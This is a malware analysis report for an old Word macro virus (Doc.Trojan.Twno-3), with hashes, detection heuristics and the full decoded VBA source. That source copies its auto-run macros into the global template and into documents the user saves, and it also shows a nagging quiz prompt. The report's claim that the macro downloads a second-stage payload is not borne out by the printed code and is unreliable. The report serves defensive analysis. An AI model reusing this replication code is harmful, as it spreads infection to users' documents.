Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eca6c03443b68434…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-04-06 14:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f6ddfe2c31bf006eb91c391ad49ded97 SHA-1: 6eca84c1a544c2d410452693a3ff4b4c406cba04 SHA-256: eca6c03443b68434895e1805dc5fe6ddc14c16dede126382795556a852953479
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. ClamAV detections confirm its malicious nature. The VBA macro appears to be designed to download and execute a second-stage payload, although the exact mechanism is obfuscated and truncated in the provided evidence.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2516 bytes
SHA-256: ed338678be23437fa9dde28358ea6ab2886e9c581a6f8fe14d1e097e6afc78ef
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim ans$
Dim j
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1
If WordBasic.Day(WordBasic.Now()) = 0 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0

        While test = -1
            For i = 0 To 4
            nm__(i) = WordBasic.Int(Rnd() * 10000)
            con = (con * nm__(i))
            If i = 4 Then
            tog$ = tog$ + Str(nm__(4)) + " =?"
            GoTo beg
            End If
            tog$ = tog$ + Str(nm__(i)) + " *"
            Next i
beg:
            WordBasic.Beep
            ans$ = WordBasic.[InputBox$]("¤µ¤Ñ¬O " + WordBasic.[Date$]() + " ,§Ú¤S­n¸ò§A¨£­±¤F!" + Chr(13) + _
"§AÁÙ°O±o§Ú¶Ü¡H......" + Chr(13) + _
"¤µ¤Ñ§Ú¥X¤@­ÓÃD¥Ø¡A¦pªGµª¹ï,¥i§K³Q³Î³ïÄV!   " + _
tog$, "§»Â¤¤§¯T")
        If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = WordBasic.[LTrim$](Str(con)) Or ans$ = "iisi" Then
            WordBasic.MsgBox "®¥¶P§Aµª¹ï¤F...", _
                    "§»Â¤¤§¯T"
            WordBasic.Beep
            GoTo exit_
            Else
                For j = 1 To 20
                WordBasic.Beep
'               FileNewDefault
                Next j
                GoTo try
            End If
        Wend
            End If

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
For kkk = 1 To nor1
    If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
    tt = 1
    End If
Next kkk

End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If


exit_:
bye:
End Sub

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